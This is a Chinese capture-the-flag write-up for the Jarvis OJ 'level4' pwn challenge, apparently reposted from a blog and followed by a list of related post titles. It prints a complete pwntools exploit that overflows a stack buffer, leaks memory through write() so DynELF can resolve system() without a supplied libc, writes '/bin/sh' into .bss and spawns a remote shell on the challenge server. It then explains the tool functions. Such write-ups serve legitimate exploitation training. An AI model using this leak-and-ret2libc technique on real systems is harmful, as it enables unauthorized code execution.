没有libc?!DynELF了解一下

来,链接:

https://files.cnblogs.com/files/Magpie/level4.rar

nc pwn2.jarvisoj.com 9880

我抽着差不多的烟,又check差不多的sec:

扔进IDA:

和level3差不多,只是这道题没有提供libc

这道题其实主要就是学一下pwntools的一个工具,没有什么原理上的新东西

所以我们直接给出exp,然后讲一下exp就好了:

 1 from pwn import *
 2 context(arch = 'i386', os = 'linux')
 3 r = remote('pwn2.jarvisoj.com', 9880)
 4 e=ELF('./level4')
 5 junk='A'*(0x88+0x04)
 6 read_plt=e.symbols['read']
 7 write_plt=e.symbols['write']
 8 data_bss_addr=e.symbols['__bss_start']
 9 func_reload_addr=e.symbols['vulnerable_function']
10 def leak(address):
11     payload1=junk+p32(write_plt)+p32(func_reload_addr)+p32(0x01)+p32(address)+p32(0x04)
12     r.sendline(payload1)
13     leak_addr=r.recv(4)
14     return leak_addr
15 d=DynELF(leak,elf=e)
16 system_addr=d.lookup('system','libc')
17 payload2=junk+p32(read_plt)+p32(func_reload_addr)+p32(0x00)+p32(data_bss_addr)+p32(0x08)
18 r.sendline(payload2)
19 r.send('/bin/sh\x00')
20 payload3=junk+p32(system_addr)+p32(func_reload_addr)+p32(data_bss_addr)
21 r.send(payload3)
22 r.interactive()

1.ELF函数:创建并返回一个elf文件的内存映射对象

2.symbols函数:可以看作elf对象的一个方法,按关键字搜索地址

3.DynELF函数:核心函数,第一个参数是一个函数指针,指向一个规范内存泄露函数leak;第二个参数(可选)是一个elf对象,有了它可以使效率更高

DynELF函数具析:

通过配合调用leak分析其泄露值以及分析传入的elf对象,可以从进程中自动地resolve出所有的函数、数据地址,存储在一个vector向量数组中并返回这个向量数组

4.lookup函数:可看作向量数组对象的一个方法,按传入的索引项,搜索相应项值,得到服务器端的真实system地址

#payload2:劫持到read函数,将命令字符串'/bin/sh'写到bss段以作参数调用的地址

通过这段exp就可以拿到shell了,遗留一个问题:lookup找不到/bin/sh的地址,不知具体是个什么原因。可能上面的说法有一个错误:DynELF函数可能并无法泄露数据的地址。

留待日后填......

转载于:https://www.cnblogs.com/Magpie/p/9118366.html

Jarvis Oj Pwn 学习笔记-level4相关推荐

  1. Jarvis Oj Pwn 学习笔记-level3

    你们期待的Libc终于来了~(return_to_libc attack) 跪呈链接: https://files.cnblogs.com/files/Magpie/level3.rar nc pwn ...

  2. Jarvis Oj Pwn 学习笔记-level0

    一道64位的pwn题 呈上地址: 原文件:https://files.cnblogs.com/files/Magpie/level0.rar nc pwn2.jarvisoj.com 9881 先查一 ...

  3. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  4. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  5. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  6. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

  7. [Jarvis OJ - PWN]——Test Your Memory

    [Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...

  8. [Jarvis OJ - PWN]——Smashes

    [Jarvis OJ - PWN]--Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看.64位,并且除了PIE ...

  9. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

最新文章

  1. 博客园 cnblogs博客添加Google Analytics统计
  2. win下我的windows键失效了
  3. pytorch model.train() 开启batchnormalize 和 dropout model.eval() 则会关闭dropout
  4. 新生替代Reflector的反编译软件ILSpy
  5. access 打印预览 代码_标签打印软件如何批量打印样品标签
  6. java依赖和约束有啥区别_Java – Maven依赖关系太多了
  7. opengl实现三维动画简单代码_使用Python简单实现马赛克拼图!内附完整代码
  8. 【Docker】Docker 一个偶现的错误 bash命令突然找不到
  9. [leetcode]Largest Rectangle in Histogram @ Python
  10. The Clean Architecture--一篇很不错的关于架构的文章
  11. Python 监控主机程序,异常后发送邮件(我的第一只Python程序)
  12. Xcode编译后运行程序Killed: -9,因为签名有问题
  13. VC2005 MFC静态文本框背景色设置
  14. Java中native方法的使用
  15. Java 聊天室实现
  16. 数据结构与算法教程——App推荐
  17. 自己的邮箱还有在用吗,还安全吗?
  18. KeyError: ‘[1 2] not found in axis‘
  19. 空间换时间——为字符串排序
  20. SnapKit安装与使用

热门文章

  1. Cisco 2960交换机配置
  2. Gradle在Android中的简单使用
  3. 利用单壁路由实现vlan间路由
  4. Enterprise Solution 进销存管理软件 C/S架构,支持64位系统 物流,资金流,信息流全面集成...
  5. Jquery实现可拖拽的树菜单
  6. Linux 网络配置 ifconfig、ip、netstat 命令的使用
  7. 运维管理中的制度和流程
  8. smarty模板引擎(一)基础知识
  9. “页面制作人员”?“页面工程师”?“页面架构师”?滚一边去!
  10. MITRE 发布 2020 CWE Top 25 榜单